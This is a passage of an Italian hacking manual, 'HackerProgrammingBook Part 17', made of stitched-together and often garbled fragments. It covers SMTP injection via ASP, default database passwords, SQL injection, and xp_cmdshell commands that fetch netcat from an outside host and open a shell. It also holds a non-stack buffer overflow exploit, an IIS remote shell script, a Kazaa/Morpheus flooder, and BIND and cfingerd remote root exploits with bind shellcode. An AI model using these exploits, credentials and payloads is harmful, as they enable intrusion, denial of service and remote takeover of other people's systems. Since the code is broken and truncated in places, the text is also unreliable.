HackerProgrammingBook Part 17
HackerProgrammingBook Part 17
Uno dei linguaggi pi utilizzati al giorno doggi sul WEB sicuramente ASP il quale tra linfinit di oggetti orientati agli usi pi disparati ne possiede uno che permette di inviare delle email direttamente dalle pagine WEB. Si tratta delloggetto CDONTS.NEWMAIL il quale pu essere utilizzato nelambito di un qualsiasi form per il successivo invio di posta ma che per alo tesso tempo permette anche agli hackers di utilizzarlo per lo tesso scopo ovvero per linvio arbitrario di posta. Chiaramente come tanti bugs il tutto dipende sempre dalla tipologia di validazione dei dati inseriti che il programmatore esegue. Ma partiamo dellinizio vedendo come in genere possibile utilizzare questo oggetto allinterno di una pagina ASP. <% set objNewMail = CreateObject("CDONTS.Newmail") objNewMail.From = "[email protected]" objNewMail.To = Request.QueryString("email") objNewMail.Subject = "NEWSLETTER" objNewMail.Body = "Please find attached the newsletter." objNewMail.AttachFile "c:\newsletter.txt", "mailatt.txt" objNewMail.Send %> La prima linea crea loggetto CDONTS.NEWMAIL mentre il rimenente codice seta I vari campi destinati ad indicare il mittente, il destinatario, il soggetto e il testo del messaggio. Lultima linea quella che di fatto permette di inviare il messaggio una volta che tutti I valori richiesti sono stati inseriti nefgli appositi campi. Le varie Request.QueryString() interrogano le variabili legate al passaggio degli argomenti alla pagina per ci per ricevere un messaggio questa dovrebbe essere letta nel modo che segue: http://www.company.com/[email protected] Come avrete potuto vedere il parametro viene settato direttamente dentro al campo che lko deve contenere direattamente dalla funzione che lo legge. Quando alla fine loggetto invia lemail il tutto subisce una conversione ne formato richiesto da SMTP. .. .. mail from: [email protected] rcpt to: [email protected] data Subject: NEWSLETTER .. .. Se invece avesimo inserito la seguente metodlogia di richiamo : http://www.company.com/[email protected]%0D %0Adata%0D%0ASubject:%20Spoofed!%0D%0A%0D%0AHi,%0D%0AThis%20is%20a %20spoofed%20email%0D%0A.%0D%0Aquit%0D%0A La convesione SMTP sarebbe stata simile a :.. .. mail from: [email protected] rcpt to: [email protected]
Oracle user password internal internal internal manager sys sys sys manager sys system sys internal sys change_on_install system manger system system system internal
SQL Server user password sa <blank> sa sa sa admin admin admin admin <blank>
Chiaramente il problema delle injections allinterno dei forms presenti sui WEB dipende in gran parte dalla mancanza di controlli fatti dai progettisti software. Avevamo visto che la forma classica dinterrogazione di un database legato allaccesso ad un sistema ha in genere questa forma:
SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND U_Password='<field from web form>' IF [Stuff is Returned] {Login looks good} ELSE {Login looks bad}
Avevamo visto che linserimento di un apicetto di chiusura e del carattere che definisce il REM dentro a Sql Server avrebbe potuto essere usato per trasformare linterrogazione in una che qualsiasi cosa venga inserita questa restituisca sempre una condizione di TRUE. Spesso per il problema che gli input vengono controllati almeno per quello che riguarda la lunghezza del valore inserito. A questo punto necessario trovare una condizione che possa essere inserita in pochissimi caratteri. Una ottima quella che usa il valore di controllo ridondante 1=1, ovvero :
' OR 1=1--
Lo statement SQL di prima diventerebbe dopo liniezione : SELECT XYZ from tblUsers WHERE User_ID='zzz' OR 1=1 -- AND U_Password= IF [Stuff is Returned] {Login looks good} ELSE {Login looks bad} Nellambito della raccolta delle informazioni legate al database spesso interessante riuscire ad ottenere il numero dei campi :
Il sistema SQL esegue un NSLOOKUP usando il nostro BOX come nameserver. A questo punto mse tutto funziona avremo della informazioni come ad esempio lIP del backend SQL. Fate attenzione che il WEB server e il backend SQL potrebbero non girare sulla stessa piattaforma. A questo punto conoscendo qeste informazioni possiamo cercare di uplodare il nostro solito NETCAT con : sensepost exec master..xp_cmdshell tftp I nasty.com GET nc.exe c:\nc.exe-e quindi di eseguirlo con : sensepost exec master..xp_cmdshell c:\nc.exe l p 8000 e cmd.exe Buffer overflow non allinterno degli stack La maggior parte dei buffer overflow visti fino ad ora usavano lo stacak o lheap come basi per la creazione dllexploit. Questo capitolo server a descrivere come di fatto possibile scrivere un buffer overflow anche senza affidarsi a questi segmenti. La loro scrittura pi semplice di questi in quanto lunica cosa che necessario capire il metodo con cui vengono chiamate le funzioni a basso livello. Un ulteriore semplificazione di questo tipo di buffer overflow legata al fatto che in questo caso non necessario conoscere lassembler. Il concetto di buffer overflow rimane lo stesso ovvero di fatto si tratta di inserire allinterno di una buffer pi dati di quanti questi possa contenere. Mentre nei buffers overflow legati allo stack I dati inseriti devono contenere anche il codice che deve essere eseguito, qui non necessario nessun codice. Mentre lindirizzo di ritorno che si andava a soprascrivere nei buffer basati sullo stack era legato ad un codice presete dentro al buffer stesso, qui lindirizzo legato ad una fnzione API e precisamente WinExec() o system (). Questo tipo di exploit sono inoltre pi corti di quanto lo siano qelli basati sullo stack. Quando viene chiamata una funzione mediante il linguaggio C i parametri che questa pretende vengono inseriti, o pushati, dentro allo stack. Consideriamo il seguente codice : .. WinExec(command,SW_HIDE); .. Questa fnzione viene traslata in assembler come segue : mov eax, 0 // Move into the eax register SW_HIDE push eax // push this onto the stack lea eax, [ebp-8] // load the effective address of the command into eax push eax // push this onto the stack call WinExec // call the function Come avrete potuto vedere I paramteri vengono inseriti in modo inverso dentro allo stack mediante delle istruzioni di PUSH. Lo stack potrebbe essere visto nel seguente modo : -------------------------ESP 80
Questo formato potrebbe portare ad un insuccesso nellesecuzione. Il modo per risolvere il problema quello di eseguire il comando in una shell cmd e di separare il comando con un carattere ampersand. cmd /c command &+padding+saved_return_address+dummy_saved_return_address+parameters+.. ... Considerate questo programma chiamato overrun.exe Notate lindirizzo fittizio chiamato DUMMY usato per la winexec. #include <stdio.h> int main () { char buffer[256]=""; FILE *fd=NULL; fd = fopen("file.txt","rb"); if(fd == NULL) return printf("Couldn't open file.txt for reading\n"); fgets(buffer,1000,fd); return 0; } Questo programma apre un file chiamato "file.txt" e legge 1000 caratteri dentro ad un buffer Il buffer di fatto solo 256. In questo modo tutti caratteri oltre al 256 creano loverflow del buffer. Per eseguire l exploit usando un metodo non basato sullo stack dobbiamo scrivere un programma che c crei un file "file.txt" ce contenga lexploit stesso.
#include <stdio.h> int main() { char buffer[500]="cmd /c calc & AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"; char sraddress[8]="\xAF\xA7\xE9\x77"; char padding[8]="\x90\x90\x90\x90"; char pointer_to_command[8]="\x70\x51\x2F\x00"; FILE *fd=NULL; fd = fopen("file.txt","w+"); strcat(buffer,sraddress); strcat(buffer,padding); strcat(buffer,pointer_to_command);
Come potete vedere il comando che viene eseguito "cmd /c calc". Se il tutto funziona viene eseguito il calcolatore. Lindirizzo di ritorno viene soprascritto con lindirizzo di WinExec. Un indirizzo di ritorno dummy viene creato per beneficio di WinExec e un puntatore a questa stringa viene attaccata alla fine. In caso di successo lindirizzo di ritorno viene soiprascritto con quello di WinExec(). Quando il tutto torna WinExec() viene eseguita. WinExec ignorer lindirizzo dummy e quindi pende I suoi parametri e li esegue. Quando il tutto termina il programma andr in crash ma in ogni caso lutente sar gi dentro alla shell aperta.
require LWP::Protocol::http10; Getopt::Long::Configure ("bundling"); my ($p_exists, $c, $a, $q, $o, $h, $v, $e, $s, $p, $f, $nd, $wd, $no_cd, $cmd_sep, $host, $path, $basepath, $term, $version); $version = "1.3"; # # Defining functions
# parseResult($result) sub parseResult { my $content; if ($_[0]->is_error()) { my $error = $_[0]->status_line; if ( $error =~ /404/ ) { print "$_[0] not found.\n"; return 0; } $content = $_[0]->content(); $content =~ s/.*?\<body\>(.*)\<\/body\>.*/$1/gsi; if ( $content =~ /\<pre\>/i ) { $content =~ s/.*?<pre>(.*?)<\/pre>.*/$1/gsi; } print $content . "\n"; } else { $content = $_[0]->content(); print $content; } } # download($url, $local_file) sub download { my $url = $_[0]; my $filename = $_[1]; my $ua = new LWP::UserAgent; $ua->agent("bozilla v0/gold edition"); my $req = new HTTP::Request GET => "$url"; $req->referer("http://www.nsa.gov"); my $res = $ua->request($req, $filename); if ( $res->is_error() ) { my $error = $res->status_line; if ( $error =~ /404/ ) { print "$url not found.\n"; return 0; } else { print "Couldn't copy file at $url.\n"; } return 1; }
# runCommand($command) sub runCommand { my $url; my $line = $_[0]; if ( defined($line) ) { chomp $line; # Defining internal commands if ( $line =~ /^\s*\/exit\s*$/i || $line { } print STDOUT "Quitting IIS Shell.\n"; exit; =~ /^\s*\/quit\s*$/i )
if ( $line =~ /^\s*\/nocd/i ) { if ( $line =~ /^\s*\/nocd\s*on\s*$/i ) { $no_cd = "true"; print "Disabling path memorization.\n"; next; } elsif ( $line =~ /^\s*\/nocd\s*off\s*$/i ) { $no_cd = ''; print "Enabling path memorization.\n"; next; } else { printf "Path memorization is currently %s.\n", ($no_cd)?"disabled":"enabled"; next; } } if ( $line =~ /^\s*\/help\s*$/i ) { print "Help for IIS shell :\n\n"; print "\tcd <directory> : currently supports '..' and '\\'.\n\n"; print "\t/nocd [on|off] : disables/enable path memorization\n\t" . " "x17 . "(without arguments, prints current status)\n"; print "\t/setcmdsep <sep> : sets DOS command separator to <sep> (default = &).\n"; print "\t/help : this command.\n"; print "\t/quit : quits IIS shell.\n"; print "\t/exit : quits IIS shell.\n\n"; print "\t! <command> : run <command> on the local machine.\n\n"; next; } if ( $line =~ /^\s*\/setcmdsep\s*(.*)\s*$/i ) { $cmd_sep = "$1"; print "Setting command separator to $cmd_sep.\n"; next; } if ( $ line =~ /^\s*\/cp\s+(.+)\s+(.+)\s*$/i ) { if ( $basepath ) {
Questo metodo funziona anche da remoto. Chiaramente il tutto serve a scalare i dirtti di un sistema per cui dovete avere un login iniziale. In altre parole va bene in quei sistemi aziendali dove voi non valete nulla, nelle universit o comunque in un sistema dove anche solo a livello di guest ma ci entrate.
Kazaa o Morphes
Queste due utilties legate al file sharing possiedono delle backdoor che possono essere utilizzate per accedere abusivamente ai sistemi di chi li usa. Occo il programma per farlo :
#!/usr/bin/perl # #Kazaa/Morpheus Denial of Service Attack #Coded by Paul Godfrey #[email protected] # #Problem: Both Kazaa and Morpheus filesharing applications have "backdoors" #which allow anonymous file access to their shared folder. What does this have #to do with Denial of Service? Unlike connections made from other users #of the applications, the number of connections to the backdoor cannot be #regulated or detected by the client. This obviously will allow us to flood the #server with requests and therefore use up all of the available bandwidth. #Also due to the fact that most users have setup their firewall privileges so #that Kazaa or Morpheus is allowed access to open connections to outside sources #this attack will bypass most personal firewall clients such as Zone Alarm. # #Enjoy. # #Usage: ./km.pl -h victimip use Socket; use Getopt::Std; getopts("h:", \%args); print("\nK/M Denial of Service\n"); if (!defined $args{h}) { print("Usage: km.pl -h victimip\n\n"); exit; } $host = $args{h}; $target = inet_aton($host) || die("inet_aton problems; host doesn't exist?"); $trash="A"x100; &exec_cmd($command); sub exec_cmd { for($count=1;$count<=1000;$count++) { sendraw("GET /\"$trash\" HTTP/1.0\n\n"); print("|"); } print("\nData Sent.\n\n"); } sub sendraw { my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
DNS e Bind
Uno dei sistemi che nel tempo ha creato pi problemi sicuramente il bind utilizzato per la gestione dei DNS allinterno dei servers. Tra Le tipologie di exploits a cui questo meccanismo maggiormente soggetto sono sicuramente quelli legati alle metodologie Dos ovvero quelle indirizzate a bloccare il servizio. Chiaramente in questo caso parliamo di uno dei servizi fondamentali nellambito di un sistema in quanto il blocco di questo farebbe si che i servers che si supportano su questo sistema per la risoluzione dei domini tramite interrogazione dei servers DNS non potrebbe essere eseguito. Teniamo sempre ben presente che le attivit legate a questo servizio nellambito di un server avvengono in continuazione anche perch questo viene utilizzato anche per risolvere i servers stessi interni nellambito di una struttura di dominio relativo anche ad una sola azienda. Usando analizzatori della sicurezza, come ad esempio RETINA, i messaggi legati ai problemi presenti nel sistema BIND sono sempre numerosissimi. Un esempio di software in grado di explotare un sistema remoto utilizzante questo sistema quello che segue:
/* * lame named 8.2.x remote exploit by * * Ix [[email protected]] (the master of jmpz), * lucysoft [[email protected]] (the master of queries) * * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html) * linux only shellcode * this is only for demo purposes, we are not responsable in any way for what you do with this code. * * flamez - canaris * greetz - blizzard, netman. * creditz - anathema <[email protected]> for the original shellcode * - additional code ripped from statdx exploit by ron1n */ #include #include #include #include #include #include #include #include #include #include #include #include #include <unistd.h> <stdio.h> <stdlib.h> <signal.h> <time.h> <string.h> <ctype.h> <netdb.h> <sys/time.h> <sys/types.h> <sys/socket.h> <arpa/inet.h> <arpa/nameser.h>
/* jmp callz /* popl %esi /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* subl %eax, %eax movl %eax, 0x10(%esi) incl %eax movl %eax, %ebx movl %eax, 0x0c(%esi) incl %eax movl %eax, 0x08(%esi) leal 0x08(%esi), %ecx movb $0x66, %al int $0x80 incl movb movw movb subl movl movl movb movw leal movl leal %ebx $0x10, 0x10(%esi) %bx, 0x14(%esi) %al, 0x08(%esi) %eax, %eax %eax, %edx %eax, 0x18(%esi) $0x90, %al %ax, 0x16(%esi) 0x14(%esi), %ecx %ecx, 0x0c(%esi) 0x08(%esi), %ecx
*/ // 2 - 2 */ // 1 - 3 */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ // // // // // // // // // // // // // // // // // // // // // // 2 3 1 2 3 1 3 3 2 2 1 4 4 3 2 2 3 2 4 3 3 3 5 8 9 11 14 15 18 21 23 25 26 30 34 37 39 41 44 46 50 53 56 59
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ "\x86\xc3" /* "\xb0\x3f" /* "\x29\xc9" /* "\xcd\x80" /* "\xb0\x3f" /* "\x41" /* "\xcd\x80" /* "\xb0\x3f" /* "\x41" /* "\xcd\x80" /* /* execve() */ "\x88\x56\x07" "\x89\x76\x0c" "\x87\xf3" "\x8d\x4b\x0c" "\xb0\x0b" "\xcd\x80" /* /* /* /* /* /*
// {0, "8.2.2-P5 - Redhat 6.2 (Zoot) boot", 0x40111704, 0x330, 6}, unsigned long resolve_host(char* host) { long res; struct hostent* he; if (0 > (res = inet_addr(host))) { if (!(he = gethostbyname(host))) return(0); res = *(unsigned long*)he->h_addr; } return(res); } void runshell(int sockd) { char buff[1024]; int fmax, ret; fd_set fds; fmax = max(fileno(stdin), sockd) + 1; send(sockd, "uname -a; id;\n", 15, 0); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sockd, &fds); if(select(fmax, &fds, NULL, NULL, NULL) < 0) { exit(EXIT_FAILURE); }
if(FD_ISSET(sockd, &fds)) { bzero(buff, sizeof buff); if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) { exit(EXIT_FAILURE); } if(!ret) { fprintf(stderr, "Connection closed\n"); exit(EXIT_FAILURE); } write(fileno(stdout), buff, ret); } if(FD_ISSET(fileno(stdin), &fds)) { bzero(buff, sizeof buff); ret = read(fileno(stdin), buff, sizeof buff); if(send(sockd, buff, ret, 0) != ret) { fprintf(stderr, "Transmission loss\n"); exit(EXIT_FAILURE);
} } }
connection(struct sockaddr_in host) { int sockd; host.sin_port = htons(36864); printf("connecting..\n"); usleep(2000); if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { exit(EXIT_FAILURE); } if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1) { printf("wait for your shell..\n"); usleep(500); runshell(sockd); } else { printf("error: named not vulnerable or wrong offsets used\n"); } close(sockd); }
int infoleak_qry(char* buff) { HEADER* hdr; int n, k; char* ptr; int qry_space = 12; int dummy_names = 7; int evil_size = htons(0xff); memset(buff, 0, BUFFSIZE); hdr = (HEADER*)buff; hdr->id = htons(0xbeef); hdr->opcode = IQUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(0); hdr->nscount = htons(0); hdr->ancount = htons(1); hdr->arcount = htons(0); ptr = buff + sizeof(HEADER); n = 62; for (k = 0; k < dummy_names; k++) { *ptr++ = n; ptr += n; } ptr += INT16SZ;
PUTSHORT(htons(1/*ns_t_a*/), ptr); PUTSHORT(htons(T_A), ptr); PUTLONG(htons(1), ptr); PUTSHORT(evil_size, ptr); return(ptr - buff + qry_space); }
/* ttl */
/* type */ /* class */
int evil_query(char* buff, int offset) { int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0; HEADER* hdr; char *ptr; int k, bufflen; u_int n, m; u_short s; int i; int shelloff, shellstarted; int towrite, ourpack; int n_dummy_rrs = 7; shelladdr = offset - 0x200; lameaddr = shelladdr + 0x330;
ourpack = offset - 0x250 + 2; towrite = (offset & ~0xff) - ourpack - 6; printf("# %x newebp\n", offset & ~0xff); printf("# %x towrite\n", towrite); rroffsetidx = towrite / 70; offset0 = towrite - rroffsetidx * 70; printf("+ %x rr recidx\n", rroffsetidx); printf("+ %x offset\n", offset0); if ((offset0 > 53) || (rroffsetidx > 6)) { printf("could not write our data in buffer\n"); return(-1); } rrshellidx = 1; deplshellcode = 2; hdr = (HEADER*)buff; memset(buff, 0, BUFFSIZE); /* complete the header */ hdr->id = htons(0xdead); hdr->opcode = QUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(n_dummy_rrs); hdr->ancount = htons(0); hdr->arcount = htons(1); ptr = buff + sizeof(HEADER); shellstarted = 0; shelloff = 0;
//
} else { }
*ptr++ = 0xc0; /*NS_CMPRSFLGS*/ ptr += 5; } s = htons(0xfa) /* ns_t_tsig */; PUTLONG(s, ptr); for (k = 0; k < 1; k++) { *ptr++ = 0x90; } bufflen = ptr - buff; return(bufflen); } long xtract_offset(char* buff) { long ret, idx, now; idx = 0x214; now = 0; ret = *((long*)&buff[idx]); if ((ret > 0xbfff0000) && (ret < 0xc0000000)) { now = 1; } while ((idx < 0x400) && (!now || !((ret > 0xbfff0000) && (ret < 0xc0000000)))) { idx += 4; ret = *((long*)&buff[idx]); if (ret == 1) { now = 1; } } argevdisp1 = 0x080d7cd0; argevdisp2 = *((long*)&buff[0x264]); return(ret); }
/* * repeat.c -- quick-n-dirty hack to output argv[2] instances of the * character whose ASCII value is given as argv[1] * * WARNING - this has absolutely no error checking! */ #include <stdio.h> main (int argc, char **argv) { int character; long repetitions, i; if ( argc != 3 ) { printf("usage: repeat char reps\n"); exit(1); } character = atoi(argv[1]); repetitions = atol(argv[2]); for (i = 0L; i < repetitions; i++) { printf ("%c", character); } } Il comportamento di W3PROXY.EXE dipende dal valore di ${x} e dal valoredi ${y}. Con ${x} a 55, il seguente comportamento osservato basandosi sul valore di ${y}:
100: processes correctly, returns "404 Object Not Found" from target web server. 200: returns 404 250: returns 404 254: returns 404 255: returns "414 URL Too Long" 260: returns 414 300: returns 414 2000: returns 414 2100: returns 414 2200: returns 414 2300: returns 414 2300, repeated several times: W3PROXY.EXE grows to 128MB of process size and is then terminated with an access violation. 2350: W3PROXY.EXE is terminated on the first attempt.
void main(vid) { int pos, x=12, y=34; printf("%d %n%d\n", x, &pos, y); printf("L'offset a : %d", pos); } F:\TempWork>cl test.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. test.c Microsoft (R) Incremental Linker Version 6.00.8447 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:test.exe test.obj F:\TempWork>test 12 34 L'offset a : 3 F:\TempWork> Il calcolo avvien su quello che dovrebbe essere anche se per altri motivi avrebbe dovutto essere differente. Considerate il buffer di 20 caratteri e la richiesta di stampare il numero come un numero di 100 cifre. Il valore restituito dalla funzione 100 e non 20. #include <stdio.h> char buff[20]; void main(vid) { int pos, x=12, y=34; sprintf(buff, "%.100d%n", x, &pos); printf("L'offset e' a : %d", pos); } F:\TempWork>cl test.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. test.c Microsoft (R) Incremental Linker Version 6.00.8447 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:test.exe test.obj F:\TempWork>test L'offset e' a : 100 F:\TempWork>
/* * fmtme.c * Format a value into a fixed-size buffer */ #include <stdio.h> int main(int argc, char **argv) { char buf[100]; int x; if(argc != 2) exit(1); x = 1; sprintf(buf, argv[1]); buf[sizeof buf - 1] = 0; printf("buffer (%d): %s\n", strlen(buf), buf); printf("x is %d/%#x (@ %p)\n", x, x, &x); return 0; }
Spieghiamo solo I passi fondamentali del programma. Un valore passato sulla linea di comando da prompt viene formattato in un buffer a lunghezza fissa. Successivamente il buffer formattato e viene messo in output. In aggiunta per formattare largomento un secondo intero settato e successivamente fatto uscire. Questa variabile viene usata come the target del successivo attacco. Per ora dobbiamo solo vedere che questo deve essere sempre 1. A questo punto iniziamo a ragionare come attaccante. Abbiamo nelle mani un programma di test e sappiamo che questo possiede una vulnerabilit sapendo inoltre dove il programmatore ha commesso lerrore. A questo punto inizxamo a fare delle prova. Partiamo invocando il programma xcon argomenti normali.
% ./fmtme "hello world" buffer (11): hello world x is 1/0x1 (@ 0x804745c)
Non c nulla di speciale fino a questo punto. Il programma formatta la nostra stringa allinterno del buffer e quindi stampa la sua lunghezza. Questo ci dice anche che la variabile x ha coma valore uno e che questo viene salvato allindirizzo 0x804745c. Ora proviamo a richiamare il programma con delle direttive di formattazione. In altre parole invece di passargli la stringa del tipo Hello World la stringa che gli passiamo esattamente come una di quelle che dovrebbe essere presente come stringa di formattazione.
% ./fmtme "%x %x %x %x" buffer (15): 1 f31 1031 3133 x is 1/0x1 (@ 0x804745c)
Una rapida analisi del programma ci rivela che il layout dello stack quando la funzione snprintf chiamata fha la seguente forma :
Ora proviamo a a controllare I valori salvati dentro al buffer. Questi valori sono anche usati come argomenti per la snprintf.
Address A A+1 A+2 A+3 A+4 A+5 A+6 Write to A: 0x11 0x11 0x11 0x11 Write to A+1: 0x22 0x22 0x22 0x22 Write to A+2: 0x33 0x33 0x33 0x33 Write to A+3: 0x44 0x44 0x44 0x44 Memory: 0x11 0x22 0x33 0x44 0x44 0x44 0x44
Dopo le quattro scritture sono state completate , il valore intero 0x44332211 in memoria allindirizzo A, composto da un byte meno significativo di quattro scritture. Questa tecnica ci offre la flessibilit di scegliere il valore da scrivere Questo pretende quattro quattro tempi per settare il valore. In pratica esegue loverwrite di tre bytes confinanti con lindirizzo target Esso esegue anche tre scritture non allineate. Dato che le scritture non allineate non sono supportate da tutte le architetture il metodo di fatto non portatile. Insomma tutto questo per dire che possibile scrivere valori arbitrari in memoria e quindi di conseguenza mediante questa metodologia possibile eseguire : Soprascritture dell UID di un programma al fine di elevare I privilegi. Soprascrivere un comando in esecuzione Soprascrivere un indirizzo di ritorno per puntare a qualche punto di memoria dove ci sia un codice da eseguire..
Successivamente vedremo alcune tecniche specifiche legate a questo tipo di attacco. Ora vediamo il codice usato in ambiente Linux utilizzante questa tecnica.
/* * * * * * * * * * * * * * * * * * * * * * * remote exploit for linux/x86 - cfingerd <= 1.4.3 coded by venomous of rdC - 16/apr/01 Its just a common formatstring bug using syslog() incorrectly. We need to bind as identd, so disable your identd in case you are using it. BONUS: eip address is bruteforced, so relax and wait =) NOTE: for sure where we control the format string will change from platform to platform. And for sure, the shellcode address will change so maybe you want to bruteforce this too. (-1500 to +1500 should be fine i guess) REMEMBER: this code is for educational propourses only, do not use it on machines without authorization. INFO: cfingerd isnt a package of slackware 7.0 cfingerd 1.4.1 is a package of debian 2.2 Greets: ka0z, bruj0, dn0, superluck, fugitivo(!) #flatline, #rdC
#define ROOTSHELLPORT 36864 void chld_timeo(); void chld_timeoo(); int int int int sserver; cserver; phase=0; mmm=0;
unsigned long glob; //unsigned long startaddr = 0xbffffdfc; unsigned long startaddr = 0xbffffb34; unsigned long stopaddr = 0xbffff000; char pbuf[1024]; char testcode[]= "\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe"; char linuxcode[]= /* Lamagra bind shellcode modified by me, making it smaller =) - 124b */ "\xeb\x6e\x5e\x29\xc0\x89\x46\x10" "\x40\x89\xc3\x89\x46\x0c\x40\x89" "\x46\x08\x8d\x4e\x08\xb0\x66\xcd" "\x80\x43\xc6\x46\x10\x10\x88\x46" "\x08\x31\xc0\x31\xd2\x89\x46\x18" "\xb0\x90\x66\x89\x46\x16\x8d\x4e" "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0" "\x66\xcd\x80\x89\x5e\x0c\x43\x43" "\xb0\x66\xcd\x80\x89\x56\x0c\x89" "\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0" "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd" "\x80\x88\x56\x07\x89\x76\x0c\x87" "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80" "\xe8\x8d\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68"; struct os { int id; char *os; char *shellcode; int fsc; unsigned long shaddr;
*/ */ */ */
if (argc < 4) { printf("cfingerd <= 1.4.3 remote exploit coded by venomous of rdC\n\n"); printf("Usage: %s <platform> <host> <offset>\n",argv[0]); printf("where <platform> is:\n"); for (x=0 ; types[x].os != NULL ; x++) printf("%d for %s\n", types[x].id, types[x].os); printf("\nhttp://www.rdcrew.com.ar\n\n"); exit(1); } for (x=0 ; types[x].os != NULL ; x++) { if (types[x].id == atoi(argv[1]) ) { xx++; sel = types[x].id; } } if (!xx) { printf("Unknown platform: %s\n",argv[1]); exit(1); } off = atoi(argv[3]); printf("Selected platform: %s (%d)\n",types[sel].os,sel);
if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1) { printf("\nphase 2 connecting to rootshell... "); fflush(stdout); close(fd); //identd fake server fconnect(argv[2], 2, ROOTSHELLPORT); printf("\n\nThanks for using rdC products!\n\n"); exit(0); } } } int fconnect(char *hname, int what, int port) { struct hostent *host; struct sockaddr_in d; int r; char hname2[128]; char response[1024]; d.sin_family = AF_INET; d.sin_port = htons(port); bzero(hname2,sizeof(hname2)); strncpy(hname2,hname,sizeof(hname2)); host = gethostbyname(hname2); if (!host) { printf("cannot resolve\n"); exit(0); } bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length); cserver = socket(AF_INET, SOCK_STREAM, 0); // you can add a timeout here, but supossly you know if the server // is up/not firewalled, because you are using it against an authorized // machine and not in a script/not authorized machine, right? if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0) { perror("connect"); exit(1); } if (what==2) { printf("connected!\n"); fflush(stdout); rootsox(cserver); close(cserver); return; } write(cserver,"a\n",strlen("a\n")); if ((fork()) == 0) { printf("Waiting response..."); for(r=0 ; r < 19 ; r++) printf("\b"); fflush(stdout);